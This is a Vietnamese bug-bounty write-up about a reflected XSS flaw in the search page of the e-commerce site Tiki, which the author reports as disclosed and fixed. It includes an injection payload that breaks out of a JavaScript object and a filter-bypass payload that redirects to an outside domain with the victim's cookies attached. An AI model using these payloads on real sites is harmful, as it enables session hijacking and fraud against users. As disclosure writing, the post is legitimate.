Notification texts go here Contact Us Buy Now!

Một trong ba trang TMĐT lớn nhất Việt Nam dính XSS như thế nào

Hôm vừa rồi mình dạo một vòng Tiki kiếm cuốn“Tư duy nhanh và chậm” thì tiện tay nghịch và phát hiện ra lỗi XSS. Mặc dù đây là lỗi không mới nhưng cũng cần một chút sáng tạo để khai thác.


Đầu tiên thử tìm từ khóa “xss” xem sao. Có 2 đoạn kịch bản cần để ý ở đây:
<script type="application/ld+json">
{
          "@context": "http://schema.org",
          "@type": "BreadcrumbList",
          "itemListElement": [{"@type":"ListItem","position":1,"item":{"@id":"https:\/\/tiki.vn\/","name":"Tiki.vn"}},{"@type":"ListItem","position":2,"item":{"@id":"https:\/\/tiki.vn\/\/search","name":"xss"}}]      
}
</script>

Đoạn đầu thì đã được JSON Encode nên không khai thác được gì. Đoạn 2 có tới 2 cặp “” mà dấu ” chưa được encode. Thử dùng một đoạn javascript xem sao. Đoạn mã này đơn giản là chia nhỏ string ra thành string và object để chèn script ở giữa:
};alert('xss'); ;var a = {cyperspace:
Ta được kết quả sau:


Sau khi report khoảng 1 ngày thì bên tiki có động thái phản hồi:


Thử khai thác sâu hơn xem sao vì bên tiki có nhờ mình thử bypass.


Mình nhận ra là bên tiki đã lọc bỏ window.locationdocument.cookie nhưng 2 biến locationcookieMatch thì vẫn có thể truy cập được nên mình có payload sau:
}; location=' https://domain.com/'+cookieMatch.input ;var a = {bal:
Với đoạn payload này, mình đã truyền dữ liệu cookie thành công sang máy chủ của mình. Đến công đoạn này thì việc còn lại là social engineering để người khác nhấp vào đường link vào để chôm cookie hay thực hiện lừa đảo gì đó đều được.

Đối với một trang TMĐT (đặc biệt là Tiki) thì lỗi XSS tuy phổ biến nhưng nếu rơi vào tay kẻ có ý đồ xấu thì sẽ gây ra những hậu quả hết sức nghiêm trọng. Mục đích của mình khi tìm kiếm lỗ hổng đó là muốn khiến nền tảng này trở nên an toàn hơn với người dùng. Sau đó bên Tiki Security có cảm ơn mình và đã sửa thành công lỗ hổng.


Tác giả: Strigidae (Cyber Space)


Đăng nhận xét

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.